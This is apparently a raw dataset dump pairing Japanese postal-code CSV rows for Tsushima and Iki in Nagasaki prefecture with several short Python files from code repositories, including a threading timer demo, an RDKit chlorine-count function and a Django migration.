42209,81723,8172331,ナガサキケン,ツシマシ,カミツシママチキン,長崎県,対馬市,上対馬町琴,0,0,0,0,0,0 42209,81717,8171714,ナガサキケン,ツシマシ,カミツシママチクス,長崎県,対馬市,上対馬町玖須,0,0,0,0,0,0 42209,81723,8172332,ナガサキケン,ツシマシ,カミツシママチゴネオ,長崎県,対馬市,上対馬町五根緒,0,0,0,0,0,0 42209,81723,8172333,ナガサキケン,ツシマシ,カミツシママチシュウシ,長崎県,対馬市,上対馬町舟志,0,0,0,0,0,0 42209,81717,8171712,ナガサキケン,ツシマシ,カミツシママチトウジュウシ,長崎県,対馬市,上対馬町唐舟志,0,0,0,0,0,0 42209,81717,8171711,ナガサキケン,ツシマシ,カミツシママチトミガウラ,長崎県,対馬市,上対馬町冨浦,0,0,0,0,0,0 42209,81717,8171724,ナガサキケン,ツシマシ,カミツシママチトヨ,長崎県,対馬市,上対馬町豊,0,0,0,0,0,0 42209,81717,8171703,ナガサキケン,ツシマシ,カミツシママチニシドマリ,長崎県,対馬市,上対馬町西泊,0,0,0,0,0,0 42209,81717,8171713,ナガサキケン,ツシマシ,カミツシママチハマグス,長崎県,対馬市,上対馬町浜久須,0,0,0,0,0,0 42209,81717,8171701,ナガサキケン,ツシマシ,カミツシママチヒタカツ,長崎県,対馬市,上対馬町比田勝,0,0,0,0,0,0 42209,81722,8172242,ナガサキケン,ツシマシ,カミツシママチヒトエ,長崎県,対馬市,上対馬町一重,0,0,0,0,0,0 42209,81717,8171702,ナガサキケン,ツシマシ,カミツシママチフルサト,長崎県,対馬市,上対馬町古里,0,0,0,0,0,0 42209,81717,8171723,ナガサキケン,ツシマシ,カミツシママチワニウラ,長崎県,対馬市,上対馬町鰐浦,0,0,0,0,0,0 42209,81712,8171231,ナガサキケン,ツシマシ,トヨタママチイトセ,長崎県,対馬市,豊玉町糸瀬,0,0,0,0,0,0 42209,81712,8171253,ナガサキケン,ツシマシ,トヨタママチウムギ,長崎県,対馬市,豊玉町卯麦,0,0,0,0,0,0 42209,81712,8171252,ナガサキケン,ツシマシ,トヨタママチオオツナ,長崎県,対馬市,豊玉町大綱,0,0,0,0,0,0 42209,81712,8171241,ナガサキケン,ツシマシ,トヨタママチカイグチ,長崎県,対馬市,豊玉町貝口,0,0,0,0,0,0 42209,81712,8171233,ナガサキケン,ツシマシ,トヨタママチカイフナ,長崎県,対馬市,豊玉町貝鮒,0,0,0,0,0,0 42209,81712,8171245,ナガサキケン,ツシマシ,トヨタママチカラス,長崎県,対馬市,豊玉町唐洲,0,0,0,0,0,0 42209,81712,8171256,ナガサキケン,ツシマシ,トヨタママチコヅナ,長崎県,対馬市,豊玉町小綱,0,0,0,0,0,0 42209,81712,8171232,ナガサキケン,ツシマシ,トヨタママチサガ,長崎県,対馬市,豊玉町嵯峨,0,0,0,0,0,0 42209,81712,8171234,ナガサキケン,ツシマシ,トヨタママチサシカ,長崎県,対馬市,豊玉町佐志賀,0,0,0,0,0,0 42209,81712,8171254,ナガサキケン,ツシマシ,トヨタママチサホ,長崎県,対馬市,豊玉町佐保,0,0,0,0,0,0 42209,81712,8171255,ナガサキケン,ツシマシ,トヨタママチシタノウラ,長崎県,対馬市,豊玉町志多浦,0,0,0,0,0,0 42209,81712,8171212,ナガサキケン,ツシマシ,トヨタママチソ,長崎県,対馬市,豊玉町曽,0,0,0,0,0,0 42209,81712,8171251,ナガサキケン,ツシマシ,トヨタママチタ,長崎県,対馬市,豊玉町田,0,0,0,0,0,0 42209,81712,8171213,ナガサキケン,ツシマシ,トヨタママチチロモ,長崎県,対馬市,豊玉町千尋藻,0,0,0,0,0,0 42209,81712,8171201,ナガサキケン,ツシマシ,トヨタママチニイ,長崎県,対馬市,豊玉町仁位,0,0,0,0,0,0 42209,81712,8171246,ナガサキケン,ツシマシ,トヨタママチマワリ,長崎県,対馬市,豊玉町廻,0,0,0,0,0,0 42209,81712,8171257,ナガサキケン,ツシマシ,トヨタママチメイ,長崎県,対馬市,豊玉町銘,0,0,0,0,0,0 42209,81712,8171214,ナガサキケン,ツシマシ,トヨタママチヤリカワ,長崎県,対馬市,豊玉町鑓川,0,0,0,0,0,0 42209,81712,8171223,ナガサキケン,ツシマシ,トヨタママチヨコウラ,長崎県,対馬市,豊玉町横浦,0,0,0,0,0,0 42209,81712,8171202,ナガサキケン,ツシマシ,トヨタママチワイタ,長崎県,対馬市,豊玉町和板,0,0,0,0,0,0 42209,81711,8171106,ナガサキケン,ツシマシ,ミツシママチイヌボエ,長崎県,対馬市,美津島町犬吠,0,0,0,0,0,0 42209,81704,8170432,ナガサキケン,ツシマシ,ミツシママチイマザト,長崎県,対馬市,美津島町今里,0,0,0,0,0,0 42209,81703,8170323,ナガサキケン,ツシマシ,ミツシママチオオフナコシ,長崎県,対馬市,美津島町大船越,0,0,0,0,0,0 42209,81703,8170325,ナガサキケン,ツシマシ,ミツシママチオカタ,長崎県,対馬市,美津島町緒方,0,0,0,0,0,0 42209,81704,8170431,ナガサキケン,ツシマシ,ミツシママチオサキ,長崎県,対馬市,美津島町尾崎,0,0,0,0,0,0 42209,81711,8171105,ナガサキケン,ツシマシ,ミツシママチオヤマ,長崎県,対馬市,美津島町大山,0,0,0,0,0,0 42209,81704,8170433,ナガサキケン,ツシマシ,ミツシママチカシ,長崎県,対馬市,美津島町加志,0,0,0,0,0,0 42209,81711,8171107,ナガサキケン,ツシマシ,ミツシママチカモイセ,長崎県,対馬市,美津島町鴨居瀬,0,0,0,0,0,0 42209,81711,8171103,ナガサキケン,ツシマシ,ミツシママチガヤ,長崎県,対馬市,美津島町賀谷,0,0,0,0,0,0 42209,81703,8170324,ナガサキケン,ツシマシ,ミツシママチクスボ,長崎県,対馬市,美津島町久須保,0,0,0,0,0,0 42209,81705,8170512,ナガサキケン,ツシマシ,ミツシママチクロセ,長崎県,対馬市,美津島町黒瀬,0,0,0,0,0,0 42209,81703,8170322,ナガサキケン,ツシマシ,ミツシママチケチ,長崎県,対馬市,美津島町鶏知,0,0,0,0,0,0 42209,81711,8171101,ナガサキケン,ツシマシ,ミツシママチコフナコシ,長崎県,対馬市,美津島町小船越,0,0,0,0,0,0 42209,81705,8170514,ナガサキケン,ツシマシ,ミツシママチシマヤマ,長崎県,対馬市,美津島町島山,0,0,0,0,0,0 42209,81703,8170321,ナガサキケン,ツシマシ,ミツシママチスモ,長崎県,対馬市,美津島町洲藻,0,0,0,0,0,0 42209,81705,8170511,ナガサキケン,ツシマシ,ミツシママチタケシキ,長崎県,対馬市,美津島町竹敷,0,0,0,0,0,0 42209,81703,8170326,ナガサキケン,ツシマシ,ミツシママチネオ,長崎県,対馬市,美津島町根緒,0,0,0,0,0,0 42209,81711,8171104,ナガサキケン,ツシマシ,ミツシママチノブ,長崎県,対馬市,美津島町濃部,0,0,0,0,0,0 42209,81705,8170513,ナガサキケン,ツシマシ,ミツシママチヒルガウラ,長崎県,対馬市,美津島町昼ケ浦,0,0,0,0,0,0 42209,81704,8170434,ナガサキケン,ツシマシ,ミツシママチフクザキ,長崎県,対馬市,美津島町吹崎,0,0,0,0,0,0 42209,81704,8170435,ナガサキケン,ツシマシ,ミツシママチミカタ,長崎県,対馬市,美津島町箕形,0,0,0,0,0,0 42209,81711,8171102,ナガサキケン,ツシマシ,ミツシママチヨシガウラ,長崎県,対馬市,美津島町芦浦,0,0,0,0,0,0 42209,81713,8171304,ナガサキケン,ツシマシ,ミネマチオウミ,長崎県,対馬市,峰町青海,0,0,0,0,0,0 42209,81713,8171307,ナガサキケン,ツシマシ,ミネマチカサ,長崎県,対馬市,峰町賀佐,0,0,0,0,0,0 42209,81713,8171302,ナガサキケン,ツシマシ,ミネマチカリオ,長崎県,対馬市,峰町狩尾,0,0,0,0,0,0 42209,81713,8171303,ナガサキケン,ツシマシ,ミネマチキサカ,長崎県,対馬市,峰町木坂,0,0,0,0,0,0 42209,81714,8171411,ナガサキケン,ツシマシ,ミネマチクシ,長崎県,対馬市,峰町櫛,0,0,0,0,0,0 42209,81714,8171412,ナガサキケン,ツシマシ,ミネマチサカ,長崎県,対馬市,峰町佐賀,0,0,0,0,0,0 42209,81714,8171413,ナガサキケン,ツシマシ,ミネマチシタカ,長崎県,対馬市,峰町志多賀,0,0,0,0,0,0 42209,81713,8171305,ナガサキケン,ツシマシ,ミネマチツヤナギ,長崎県,対馬市,峰町津柳,0,0,0,0,0,0 42209,81713,8171301,ナガサキケン,ツシマシ,ミネマチミネ,長崎県,対馬市,峰町三根,0,0,0,0,0,0 42209,81713,8171306,ナガサキケン,ツシマシ,ミネマチヨシダ,長崎県,対馬市,峰町吉田,0,0,0,0,0,0 42210,81151,8115100,ナガサキケン,イキシ,イカニケイサイガナイバアイ,長崎県,壱岐市,以下に掲載がない場合,0,0,0,0,0,0 42210,81153,8115301,ナガサキケン,イキシ,アシベチョウアシベウラ,長崎県,壱岐市,芦辺町芦辺浦,0,0,0,0,0,0 42210,81157,8115733,ナガサキケン,イキシ,アシベチョウコクブカワムカエフレ,長崎県,壱岐市,芦辺町国分川迎触,0,0,0,0,0,0 42210,81157,8115731,ナガサキケン,イキシ,アシベチョウコクブトウダフレ,長崎県,壱岐市,芦辺町国分当田触,0,0,0,0,0,0 42210,81157,8115732,ナガサキケン,イキシ,アシベチョウコクブヒガシフレ,長崎県,壱岐市,芦辺町国分東触,0,0,0,0,0,0 42210,81157,8115734,ナガサキケン,イキシ,アシベチョウコクブホンムラフレ,長崎県,壱岐市,芦辺町国分本村触,0,0,0,0,0,0 42210,81157,8115744,ナガサキケン,イキシ,アシベチョウスミヨシウシロフレ,長崎県,壱岐市,芦辺町住吉後触,0,0,0,0,0,0 42210,81157,8115742,ナガサキケン,イキシ,アシベチョウスミヨシヒガシフレ,長崎県,壱岐市,芦辺町住吉東触,0,0,0,0,0,0 42210,81157,8115743,ナガサキケン,イキシ,アシベチョウスミヨシマエフレ,長崎県,壱岐市,芦辺町住吉前触,0,0,0,0,0,0 42210,81157,8115741,ナガサキケン,イキシ,アシベチョウスミヨシヤマノブフレ,長崎県,壱岐市,芦辺町住吉山信触,0,0,0,0,0,0 42210,81154,8115461,ナガサキケン,イキシ,アシベチョウセトウラ,長崎県,壱岐市,芦辺町瀬戸浦,0,0,0,0,0,0 42210,81157,8115751,ナガサキケン,イキシ,アシベチョウナカノゴウナカフレ,長崎県,壱岐市,芦辺町中野郷仲触,0,0,0,0,0,0 42210,81157,8115757,ナガサキケン,イキシ,アシベチョウナカノゴウニシフレ,長崎県,壱岐市,芦辺町中野郷西触,0,0,0,0,0,0 42210,81157,8115752,ナガサキケン,イキシ,アシベチョウナカノゴウヒガシフレ,長崎県,壱岐市,芦辺町中野郷東触,0,0,0,0,0,0 42210,81157,8115756,ナガサキケン,イキシ,アシベチョウナカノゴウホンムラフレ,長崎県,壱岐市,芦辺町中野郷本村触,0,0,0,0,0,0 42210,81154,8115467,ナガサキケン,イキシ,アシベチョウハコザキエスミフレ,長崎県,壱岐市,芦辺町箱崎江角触,0,0,0,0,0,0 42210,81154,8115465,ナガサキケン,イキシ,アシベチョウハコザキクギノオフレ,長崎県,壱岐市,芦辺町箱崎釘ノ尾触,0,0,0,0,0,0 42210,81154,8115462,ナガサキケン,イキシ,アシベチョウハコザキタイソウフレ,長崎県,壱岐市,芦辺町箱崎大左右触,0,0,0,0,0,0 42210,81154,8115464,ナガサキケン,イキシ,アシベチョウハコザキタニエフレ,長崎県,壱岐市,芦辺町箱崎谷江触,0,0,0,0,0,0 42210,81154,8115463,ナガサキケン,イキシ,アシベチョウハコザキナカヤマフレ,長崎県,壱岐市,芦辺町箱崎中山触,0,0,0,0,0,0 42210,81154,8115466,ナガサキケン,イキシ,アシベチョウハコザキホンムラフレ,長崎県,壱岐市,芦辺町箱崎本村触,0,0,0,0,0,0 42210,81154,8115468,ナガサキケン,イキシ,アシベチョウハコザキモロツフレ,長崎県,壱岐市,芦辺町箱崎諸津触,0,0,0,0,0,0 42210,81153,8115321,ナガサキケン,イキシ,アシベチョウフカエサカエフレ,長崎県,壱岐市,芦辺町深江栄触,0,0,0,0,0,0 42210,81153,8115322,ナガサキケン,イキシ,アシベチョウフカエツルキフレ,長崎県,壱岐市,芦辺町深江鶴亀触,0,0,0,0,0,0 42210,81153,8115324,ナガサキケン,イキシ,アシベチョウフカエヒガシフレ,長崎県,壱岐市,芦辺町深江東触,0,0,0,0,0,0 42210,81153,8115323,ナガサキケン,イキシ,アシベチョウフカエヒラフレ,長崎県,壱岐市,芦辺町深江平触,0,0,0,0,0,0 42210,81153,8115326,ナガサキケン,イキシ,アシベチョウフカエホンムラフレ,長崎県,壱岐市,芦辺町深江本村触,0,0,0,0,0,0 42210,81153,8115325,ナガサキケン,イキシ,アシベチョウフカエミナミフレ,長崎県,壱岐市,芦辺町深江南触,0,0,0,0,0,0 42210,81153,8115316,ナガサキケン,イキシ,アシベチョウモロヨシオオイシフレ,長崎県,壱岐市,芦辺町諸吉大石触,0,0,0,0,0,0 42210,81153,8115313,ナガサキケン,イキシ,アシベチョウモロヨシナカフレ,長崎県,壱岐市,芦辺町諸吉仲触,0,0,0,0,0,0 42210,81153,8115314,ナガサキケン,イキシ,アシベチョウモロヨシヒガシフレ,長崎県,壱岐市,芦辺町諸吉東触,0,0,0,0,0,0 42210,81153,8115315,ナガサキケン,イキシ,アシベチョウモロヨシフタマタフレ,長崎県,壱岐市,芦辺町諸吉二亦触,0,0,0,0,0,0 42210,81153,8115311,ナガサキケン,イキシ,アシベチョウモロヨシホンムラフレ,長崎県,壱岐市,芦辺町諸吉本村触,0,0,0,0,0,0 42210,81153,8115312,ナガサキケン,イキシ,アシベチョウモロヨシミナミフレ,長崎県,壱岐市,芦辺町諸吉南触,0,0,0,0,0,0 42210,81157,8115755,ナガサキケン,イキシ,アシベチョウユタケコウフレ,長崎県,壱岐市,芦辺町湯岳興触,0,0,0,0,0,0 42210,81157,8115754,ナガサキケン,イキシ,アシベチョウユタケコンザカフレ,長崎県,壱岐市,芦辺町湯岳今坂触,0,0,0,0,0,0 42210,81157,8115753,ナガサキケン,イキシ,アシベチョウユタケホンムラフレ,長崎県,壱岐市,芦辺町湯岳本村触,0,0,0,0,0,0 42210,81152,8115222,ナガサキケン,イキシ,イシダチョウイケダナカフレ,長崎県,壱岐市,石田町池田仲触,0,0,0,0,0,0 42210,81152,8115224,ナガサキケン,イキシ,イシダチョウイケダニシフレ,長崎県,壱岐市,石田町池田西触,0,0,0,0,0,0 42210,81152,8115221,ナガサキケン,イキシ,イシダチョウイケダヒガシフレ,長崎県,壱岐市,石田町池田東触,0,0,0,0,0,0 42210,81152,8115215,ナガサキケン,イキシ,イシダチョウイシダニシフレ,長崎県,壱岐市,石田町石田西触,0,0,0,0,0,0 42210,81152,8115211,ナガサキケン,イキシ,イシダチョウイシダヒガシフレ,長崎県,壱岐市,石田町石田東触,0,0,0,0,0,0 42210,81152,8115214,ナガサキケン,イキシ,イシダチョウインドオジウラ,長崎県,壱岐市,石田町印通寺浦,0,0,0,0,0,0 42210,81152,8115223,ナガサキケン,イキシ,イシダチョウクキフレ,長崎県,壱岐市,石田町久喜触,0,0,0,0,0,0 42210,81152,8115202,ナガサキケン,イキシ,イシダチョウツツキナカフレ,長崎県,壱岐市,石田町筒城仲触,0,0,0,0,0,0 42210,81152,8115204,ナガサキケン,イキシ,イシダチョウツツキニシフレ,長崎県,壱岐市,石田町筒城西触,0,0,0,0,0,0 42210,81152,8115203,ナガサキケン,イキシ,イシダチョウツツキヒガシフレ,長崎県,壱岐市,石田町筒城東触,0,0,0,0,0,0 42210,81152,8115212,ナガサキケン,イキシ,イシダチョウホンムラフレ,長崎県,壱岐市,石田町本村触,0,0,0,0,0,0 42210,81152,8115213,ナガサキケン,イキシ,イシダチョウミナミフレ,長崎県,壱岐市,石田町南触,0,0,0,0,0,0 42210,81152,8115201,ナガサキケン,イキシ,イシダチョウヤマサキフレ,長崎県,壱岐市,石田町山崎触,0,0,0,0,0,0 42210,81152,8115226,ナガサキケン,イキシ,イシダチョウユタケイテヨシフレ,長崎県,壱岐市,石田町湯岳射手吉触,0,0,0,0,0,0 42210,81152,8115225,ナガサキケン,イキシ,イシダチョウユタケコウフレ,長崎県,壱岐市,石田町湯岳興触,0,0,0,0,0,0 42210,81155,8115543,ナガサキケン,イキシ,カツモトチョウウワバフレ,長崎県,壱岐市,勝本町上場触,0,0,0,0,0,0 42210,81155,8115532,ナガサキケン,イキシ,カツモトチョウオオクボフレ,長崎県,壱岐市,勝本町大久保触,0,0,0,0,0,0 42210,81155,8115523,ナガサキケン,イキシ,カツモトチョウカタヤマフレ,長崎県,壱岐市,勝本町片山触,0,0,0,0,0,0 42210,81155,8115501,ナガサキケン,イキシ,カツモトチョウカツモトウラ,長崎県,壱岐市,勝本町勝本浦,0,0,0,0,0,0 42210,81155,8115513,ナガサキケン,イキシ,カツモトチョウキタフレ,長崎県,壱岐市,勝本町北触,0,0,0,0,0,0 42210,81155,8115521,ナガサキケン,イキシ,カツモトチョウサイドフレ,長崎県,壱岐市,勝本町西戸触,0,0,0,0,0,0 42210,81155,8115531,ナガサキケン,イキシ,カツモトチョウサカモトフレ,長崎県,壱岐市,勝本町坂本触,0,0,0,0,0,0 42210,81155,8115533,ナガサキケン,イキシ,カツモトチョウシンジョウニシフレ,長崎県,壱岐市,勝本町新城西触,0,0,0,0,0,0 42210,81155,8115522,ナガサキケン,イキシ,カツモトチョウシンジョウヒガシフレ,長崎県,壱岐市,勝本町新城東触,0,0,0,0,0,0 42210,81155,8115554,ナガサキケン,イキシ,カツモトチョウタテイシナカフレ,長崎県,壱岐市,勝本町立石仲触,0,0,0,0,0,0 42210,81155,8115556,ナガサキケン,イキシ,カツモトチョウタテイシニシフレ,長崎県,壱岐市,勝本町立石西触,0,0,0,0,0,0 42210,81155,8115553,ナガサキケン,イキシ,カツモトチョウタテイシヒガシフレ,長崎県,壱岐市,勝本町立石東触,0,0,0,0,0,0 42210,81155,8115555,ナガサキケン,イキシ,カツモトチョウタテイシミナミフレ,長崎県,壱岐市,勝本町立石南触,0,0,0,0,0,0 42210,81155,8115511,ナガサキケン,イキシ,カツモトチョウナカフレ,長崎県,壱岐市,勝本町仲触,0,0,0,0,0,0 42210,81155,8115512,ナガサキケン,イキシ,カツモトチョウヒガシフレ,長崎県,壱岐市,勝本町東触,0,0,0,0,0,0 42210,81155,8115544,ナガサキケン,イキシ,カツモトチョウフケフレ,長崎県,壱岐市,勝本町布気触,0,0,0,0,0,0 42210,81155,8115546,ナガサキケン,イキシ,カツモトチョウホングウナカフレ,長崎県,壱岐市,勝本町本宮仲触,0,0,0,0,0,0 42210,81155,8115541,ナガサキケン,イキシ,カツモトチョウホングウニシフレ,長崎県,壱岐市,勝本町本宮西触,0,0,0,0,0,0 42210,81155,8115542,ナガサキケン,イキシ,カツモトチョウホングウヒガシフレ,長崎県,壱岐市,勝本町本宮東触,0,0,0,0,0,0 42210,81155,8115545,ナガサキケン,イキシ,カツモトチョウホングウミナミフレ,長崎県,壱岐市,勝本町本宮南触,0,0,0,0,0,0 42210,81155,8115551,ナガサキケン,イキシ,カツモトチョウユノモトウラ,長崎県,壱岐市,勝本町湯本浦,0,0,0,0,0,0 42210,81155,8115552,ナガサキケン,イキシ,カツモトチョウユリハタフレ,長崎県,壱岐市,勝本町百合畑触,0,0,0,0,0,0 42210,81151,8115107,ナガサキケン,イキシ,ゴウノウラチョウアリヤスフレ,長崎県,壱岐市,郷ノ浦町有安触,0,0,0,0,0,0 42210,81151,8115113,ナガサキケン,イキシ,ゴウノウラチョウウシカタフレ,長崎県,壱岐市,郷ノ浦町牛方触,0,0,0,0,0,0 42210,81151,8115112,ナガサキケン,イキシ,ゴウノウラチョウオオウラフレ,長崎県,壱岐市,郷ノ浦町大浦触,0,0,0,0,0,0 42210,81151,8115161,ナガサキケン,イキシ,ゴウノウラチョウオオシマ,長崎県,壱岐市,郷ノ浦町大島,0,0,0,0,0,0 42210,81151,8115136,ナガサキケン,イキシ,ゴウノウラチョウカタバルフレ,長崎県,壱岐市,郷ノ浦町片原触,0,0,0,0,0,0 42210,81151,8115115,ナガサキケン,イキシ,ゴウノウラチョウキダフレ,長崎県,壱岐市,郷ノ浦町木田触,0,0,0,0,0,0 42210,81151,8115123,ナガサキケン,イキシ,ゴウノウラチョウクギヤマフレ,長崎県,壱岐市,郷ノ浦町釘山触,0,0,0,0,0,0 42210,81151,8115135,ナガサキケン,イキシ,ゴウノウラチョウゴウノウラ,長崎県,壱岐市,郷ノ浦町郷ノ浦,0,0,0,0,0,0 42210,81151,8115105,ナガサキケン,イキシ,ゴウノウラチョウコマキニシフレ,長崎県,壱岐市,郷ノ浦町小牧西触,0,0,0,0,0,0 42210,81151,8115106,ナガサキケン,イキシ,ゴウノウラチョウコマキヒガシフレ,長崎県,壱岐市,郷ノ浦町小牧東触,0,0,0,0,0,0 42210,81151,8115104,ナガサキケン,イキシ,ゴウノウラチョウサトフレ,長崎県,壱岐市,郷ノ浦町里触,0,0,0,0,0,0 42210,81151,8115125,ナガサキケン,イキシ,ゴウノウラチョウシハラニシフレ,長崎県,壱岐市,郷ノ浦町志原西触,0,0,0,0,0,0 42210,81151,8115124,ナガサキケン,イキシ,ゴウノウラチョウシハラミナミフレ,長崎県,壱岐市,郷ノ浦町志原南触,0,0,0,0,0,0 42210,81151,8115134,ナガサキケン,イキシ,ゴウノウラチョウショウフレ,長崎県,壱岐市,郷ノ浦町庄触,0,0,0,0,0,0 42210,81151,8115103,ナガサキケン,イキシ,ゴウノウラチョウシンデンフレ,長崎県,壱岐市,郷ノ浦町新田触,0,0,0,0,0,0 42210,81151,8115122,ナガサキケン,イキシ,ゴウノウラチョウタイバルフレ,長崎県,壱岐市,郷ノ浦町大原触,0,0,0,0,0,0 42210,81151,8115117,ナガサキケン,イキシ,ゴウノウラチョウタナカフレ,長崎県,壱岐市,郷ノ浦町田中触,0,0,0,0,0,0 42210,81151,8115142,ナガサキケン,イキシ,ゴウノウラチョウツボフレ,長崎県,壱岐市,郷ノ浦町坪触,0,0,0,0,0,0 42210,81151,8115162,ナガサキケン,イキシ,ゴウノウラチョウナガシマ,長崎県,壱岐市,郷ノ浦町長島,0,0,0,0,0,0 42210,81151,8115131,ナガサキケン,イキシ,ゴウノウラチョウナガタフレ,長崎県,壱岐市,郷ノ浦町永田触,0,0,0,0,0,0 42210,81151,8115102,ナガサキケン,イキシ,ゴウノウラチョウナガミネヒガシフレ,長崎県,壱岐市,郷ノ浦町長峰東触,0,0,0,0,0,0 42210,81151,8115101,ナガサキケン,イキシ,ゴウノウラチョウナガミネホンムラフレ,長崎県,壱岐市,郷ノ浦町長峰本村触,0,0,0,0,0,0 42210,81151,8115143,ナガサキケン,イキシ,ゴウノウラチョウハツヤマニシフレ,長崎県,壱岐市,郷ノ浦町初山西触,0,0,0,0,0,0 42210,81151,8115144,ナガサキケン,イキシ,ゴウノウラチョウハツヤマヒガシフレ,長崎県,壱岐市,郷ノ浦町初山東触,0,0,0,0,0,0 42210,81151,8115163,ナガサキケン,イキシ,ゴウノウラチョウハルシマ,長崎県,壱岐市,郷ノ浦町原島,0,0,0,0,0,0 42210,81151,8115111,ナガサキケン,イキシ,ゴウノウラチョウハンセイホンムラフレ,長崎県,壱岐市,郷ノ浦町半城本村触,0,0,0,0,0,0 42210,81151,8115132,ナガサキケン,イキシ,ゴウノウラチョウヒガシフレ,長崎県,壱岐市,郷ノ浦町東触,0,0,0,0,0,0 42210,81151,8115121,ナガサキケン,イキシ,ゴウノウラチョウヒロウトフレ,長崎県,壱岐市,郷ノ浦町平人触,0,0,0,0,0,0 42210,81151,8115133,ナガサキケン,イキシ,ゴウノウラチョウホンムラフレ,長崎県,壱岐市,郷ノ浦町本村触,0,0,0,0,0,0 42210,81151,8115155,ナガサキケン,イキシ,ゴウノウラチョウムギヤフレ,長崎県,壱岐市,郷ノ浦町麦谷触,0,0,0,0,0,0 42210,81151,8115116,ナガサキケン,イキシ,ゴウノウラチョウモノベホンムラフレ,長崎県,壱岐市,郷ノ浦町物部本村触,0,0,0,0,0,0 42210,81151,8115114,ナガサキケン,イキシ,ゴウノウラチョウヤナギダフレ,長崎県,壱岐市,郷ノ浦町柳田触,0,0,0,0,0,0 42210,81151,8115141,ナガサキケン,イキシ,ゴウノウラチョウワカマツフレ,長崎県,壱岐市,郷ノ浦町若松触,0,0,0,0,0,0 42210,81151,8115151,ナガサキケン,イキシ,ゴウノウラチョウワタラウラ,長崎県,壱岐市,郷ノ浦町渡良浦,0,0,0,0,0,0 42210,81151,8115153,ナガサキケン,イキシ,ゴウノウラチョウワタラニシフレ,長崎県,壱岐市,郷ノ浦町渡良西触,0,0,0,0,0,0 42210,81151,8115154,ナガサキケン,イキシ,ゴウノウラチョウワタラヒガシフレ,長崎県,壱岐市,郷ノ浦町渡良東触,0,0,0,0,0,0 42210,81151,8115152,ナガサキケン,イキシ,ゴウノウラチョウワタラミナミフレ,長崎県,壱岐市,郷ノ浦町渡良南触,0,0,0,0,0,0
67e3cc9231dfce6022f55788dfa686fe85569fad
cb013bac45f2e191a1fe6fbe1a4d5bb69651fbe9
/week03/classContent/thread/p10_timer.py
65d98a0ecc181a4f7b45d897b63c0ac8970d0eed
[]
no_license
hjzheng/Python001-class01
a4529f775c1de0fe2ab6a6bc865328c1b9216df7
a261a5bf4ca475bd20637a5377366eab409f5499
refs/heads/master
2022-11-19T11:09:59.347491
2020-07-13T09:51:25
2020-07-13T09:51:25
274,433,709
1
0
null
2020-06-23T14:53:44
2020-06-23T14:53:44
null
UTF-8
Python
false
false
170
py
# 定时器: 指定n秒后执行 from threading import Timer def hello(): print("hello, world") t = Timer(1, hello) # 表示1秒后执行hello函数 t.start()
f84990f5577daca09ced90271698a91eb116b6dd
31ddcd6deda2398a5a730c858e9d8a08cb10d551
/pythonstartup.py
0a69fa9e210aae3272f872941050fa0b01ba170c
[]
no_license
hauwenc/dotfiles
e222f10630f76b9c56d2b6bd583011a1ecb0276d
3a13040b43217e82a671287589baae1bbb597b1b
refs/heads/master
2021-01-10T11:36:29.390314
2016-02-18T18:54:32
2016-02-18T18:54:32
45,560,244
0
0
null
null
null
null
UTF-8
Python
false
false
95
py
from __future__ import division import os import re import numpy as np import time import sys
65fc92a79bd813ef453b821d8a02b1a20e6cd577
e588da296dd6ec3bedee9d24444dfca6e8780aef
/classroom examples/10.py
ab241aa1417f606aba6c9459a043d03a16b9e3e0
[]
no_license
sujith1919/TCS-Python
98eac61a02500a0e8f3139e431c98a509828c867
c988cf078616540fe7f56e3ebdfd964aebd14519
refs/heads/master
2023-03-02T09:03:10.052633
2021-02-02T16:40:18
2021-02-02T16:40:18
335,355,862
0
0
null
null
null
null
UTF-8
Python
false
false
238
py
import time import os starttime=time.time() for x in range(1000): x**x endtime=time.time() print(endtime-starttime) time.sleep(1) #sleeps for 1 second ts = os.path.getctime("10.py") print(ts) print(time.ctime(ts))
c4479c6eb8c2b3de6a56bf651e278fa061e0a46d
9be1ab6f7cc9e1e8474b7c76ef89284b54782c46
/chapter_remaining/3_importing.py
74ab8e113a71fbe0f3835725cf596ca9ef7ba6e6
[]
no_license
Nateque123/python_tutorials
8d9842d46570e6cecd7aa5419b9f77bc4468d391
83743acf4862155c5837c154d0422f74d0629043
refs/heads/master
2022-11-20T11:39:02.565456
2020-07-24T11:08:34
2020-07-24T11:08:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
127
py
# simple importing practice # check file2 also import file2 print(file2.func('nateq')) from file2 import a print(a)
2c88423e7b1d7a0eaa3ce0c6656b0463de03c32e
a8a657cecbe0deab6f589a1b949bb18d6ab3938e
/ChemicsEndpoints/Endpoints/ChlorineCount/predictChlorineCount.py
6622a6274e5ad06d3e60fc38f9323bb3cfb63af9
[]
no_license
JonnaStalring/WebServices
44d222b75d0fe2313db1be8b9e3dc23e48fa0ed6
a5deb8be22056d3538e52c46310d1d99610dd1fa
refs/heads/master
2021-01-10T23:55:13.461407
2019-03-04T17:01:04
2019-03-04T17:01:04
70,786,598
1
0
null
null
null
null
UTF-8
Python
false
false
579
py
from rdkit.Chem import Descriptors from rdkit import Chem def ChlorineCount(ID, smiles, project, series, CHEMICSMODELDIR): """ Total number of Cl """ fragStr = "Cl" mol = Chem.MolFromSmiles(fragStr) sma = Chem.MolToSmarts(mol) matchIdx = Chem.QuickSmartsMatch(smiles, sma) ChlorineCount = len(matchIdx) confidence = "NaN" return ChlorineCount, confidence if __name__ == "__main__": ChlorineCount, confidence = ChlorineCount("MyMol", "c1(cc(c(cc1)Oc1c(ncc(c1)C(F)(F)F)C(N)=O)C)Cl", "project", "series", ".") print ChlorineCount
8e590b6e190dead90a8370392f6dac800e826486
0a848b5b2ea31a7e2e997f27b13f363530df78d1
/backend/cart/migrations/0009_auto_20210928_1845.py
2b07b02da6e2d6fba28a5e641d9d8b827230cdee
[]
no_license
PhanVanThanh-hub/React-Django-Ecommerce
a88e4c0747a9a3d6179d45c60641595221fe701c
00946075486495676595fe0a17dcdd0799756d4b
refs/heads/main
2023-08-13T19:24:40.492000
2021-09-30T13:05:03
2021-09-30T13:05:03
412,066,886
0
0
null
null
null
null
UTF-8
Python
false
false
595
py
# Generated by Django 3.2.6 on 2021-09-28 11:45 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cart', '0008_alter_orderitem_date_added'), ] operations = [ migrations.AlterField( model_name='order', name='data_ordered', field=models.DateTimeField(auto_now_add=True), ), migrations.AlterField( model_name='orderitem', name='date_added', field=models.DateTimeField(auto_now_add=True), ), ]
70deb99eb2fe58fe8366b806aeff04fe4948a09f
86019cfe5500aa3bd93c6cf393d6de197ff824ef
/Sai_Vinay.py
